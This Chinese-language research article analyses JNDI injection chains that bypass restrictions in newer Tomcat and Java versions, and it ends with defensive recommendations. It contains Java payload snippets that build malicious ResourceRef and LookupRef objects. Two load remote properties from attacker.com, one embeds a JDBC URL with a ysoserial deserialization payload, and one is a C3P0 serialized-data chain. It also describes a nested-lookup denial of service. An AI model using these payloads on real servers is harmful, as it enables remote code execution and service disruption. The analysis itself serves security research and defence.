高版本Tomcat下的JNDI注入利用技术研究
前言
本文详细分析高版本Tomcat环境下JNDI注入的多种利用方案,包括绕过高版本限制的技术手段。随着Java安全机制的不断加强,传统的JNDI注入方式在高版本环境中逐渐失效,本文探讨了多种新型利用技术。
背景知识
JNDI注入基本原理
JNDI (Java Naming and Directory Interface)注入是一种通过操纵JNDI查找过程来执行恶意代码的攻击方式。攻击者控制JNDI查找的URL,使其指向恶意LDAP/RMI服务器,服务器返回精心构造的Reference对象,触发目标应用加载并执行恶意类。
高版本限制
在Java高版本中(8u191+),默认禁用了远程代码加载:
com.sun.jndi.ldap.object.trustURLCodebase默认为falsecom.sun.jndi.rmi.object.trustURLCodebase默认为false
这使得传统的JNDI注入方式失效,需要寻找新的利用链。
Tomcat环境下的利用方案
1. ResourceFactory利用链
流程分析
当LDAP服务端返回的Reference类型为ResourceRef时,将由ResourceFactory类处理:
- 调用
ResourceFactory#getLinked方法(直接返回null) - 获取Reference对象的
factory值 - 如果存在
factory值:- 加载并实例化对应的factory类
- 调用实例化对象的
getObjectInstance方法 - 实现factory的二次注入
- 如果不存在
factory值:- 调用
ResourceFactory#getDefaultFactory方法 - 判断Reference目标类是否为
javax.sql.DataSource- 是:获取系统属性或使用默认值
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory - 加载并实例化factory类
- 调用
getObjectInstance方法,造成JDBC攻击或二次JNDI注入
- 是:获取系统属性或使用默认值
- 调用
利用方式一:factory属性覆盖
ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration",
null, "", "", true, "org.apache.naming.factory.ResourceFactory", null);
resourceRef.add(new StringRefAddr("factory",
"org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory"));
resourceRef.add(new StringRefAddr("systemProperties",
"http://attacker.com/AttributionCovered.properties"));
这种方式可以覆盖系统属性,如重新启用trustURLCodebase。
利用方式二:JDBC攻击
ResourceRef resourceRef = new ResourceRef("javax.sql.DataSource", null, "", "",
true, "org.apache.naming.factory.ResourceFactory", null);
resourceRef.add(new StringRefAddr("driverClassName", "com.mysql.jdbc.Driver"));
String JDBC_url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc";
resourceRef.add(new StringRefAddr("url", JDBC_url));
resourceRef.add(new StringRefAddr("username", "yso_CommonsCollections4_calc"));
resourceRef.add(new StringRefAddr("initialSize", "1"));
2. EjbFactory利用链
当Reference类型为EjbRef时,由EjbFactory处理:
- 调用
getLinked方法判断是否存在linked值 - 获取Reference对象的
link对应的value值,传入lookup方法,形成二次JNDI注入 - 如果没有link值,调用
getDefaultFactory方法- 调用
org.apache.naming.factory.OpenEjbFactory#getObjectInstance - 同样形成二次JNDI注入
- 调用
利用方式
可以构造JNDI to JNDI的嵌套调用,造成无限lookup相同的LDAP服务,导致DoS攻击。
3. LookupFactory利用链
org.apache.naming.factory.LookupFactory也是ObjectFactory接口的实现类,其利用方式与ResourceFactory类似:
- 从Reference中获取factory的value值
- 加载对应的factory类
- 实例化factory类
- 调用factory类的
getObjectInstance方法 - 形成JNDI二次注入
利用示例
LookupRef ref = new LookupRef("org.apache.commons.configuration2.SystemConfiguration",
"org.apache.naming.factory.LookupFactory", "", "");
ref.add(new StringRefAddr("factory",
"org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory"));
ref.add(new StringRefAddr("systemProperties",
"http://attacker.com/AttributionCovered.properties"));
4. C3P0的JavaBeanObjectFactory利用链
com.mchange.v2.naming.JavaBeanObjectFactory及其子类C3P0JavaBeanObjectFactory也可以被利用:
流程分析
- 遍历Reference所有内容,保存键值对到propMap
- 使用
findBean处理beanClass:- 获取bean class的所有属性描述
- 遍历每个property,判断是否存在于Reference中
- 获取对应属性值的setter方法
- 反射调用setter方法,导致任意setter方法执行
利用方式
利用C3P0中的反序列化链:
ResourceRef resourceRef = new ResourceRef("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
null, "", "", true, "com.mchange.v2.naming.JavaBeanObjectFactory", null);
resourceRef.add(new StringRefAddr("userOverridesAsString", jndiPayload));
其中jndiPayload是十六进制序列化数据,格式为:
"HexAsciiSerializedMap?" + hexString + "?"
调用栈:
fromByteArray:124, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:252, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:58, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:383, VetoableChangeSupport (java.beans)
fireVetoableChange:276, VetoableChangeSupport (java.beans)
setUserOverridesAsString:416, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
findBean:146, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:72, JavaBeanObjectFactory (com.mchange.v2.naming)
getObjectInstance:193, DirectoryManager (javax.naming.spi)
c_lookup:1114, LdapCtx (com.sun.jndi.ldap)
5. BeanFactory的setter触发
在高版本Tomcat(如8.5.79)中:
- 如果Reference包含
forceString属性则抛出异常 - 遍历Reference中的所有值
- 如果值在bean class中存在对应属性
- 调用
pda[i].getWriteMethod()获取setter方法 - 反射调用setter方法
利用方式
寻找可利用的setter方法,如前面C3P0的setUserOverridesAsString方法。
防御建议
- 升级到最新版Tomcat
- 禁用不必要的JNDI查找功能
- 设置
com.sun.jndi.ldap.object.trustURLCodebase=false - 对JNDI查找进行严格的输入验证
- 使用安全管理器限制敏感操作
总结
本文详细分析了高版本Tomcat环境下多种JNDI注入的利用技术,包括:
- ResourceFactory的两种利用方式
- EjbFactory的二次注入
- LookupFactory的利用
- C3P0的JavaBeanObjectFactory反序列化链
- BeanFactory的setter方法触发
这些技术为在高版本Java环境中进行安全研究和防御提供了重要参考。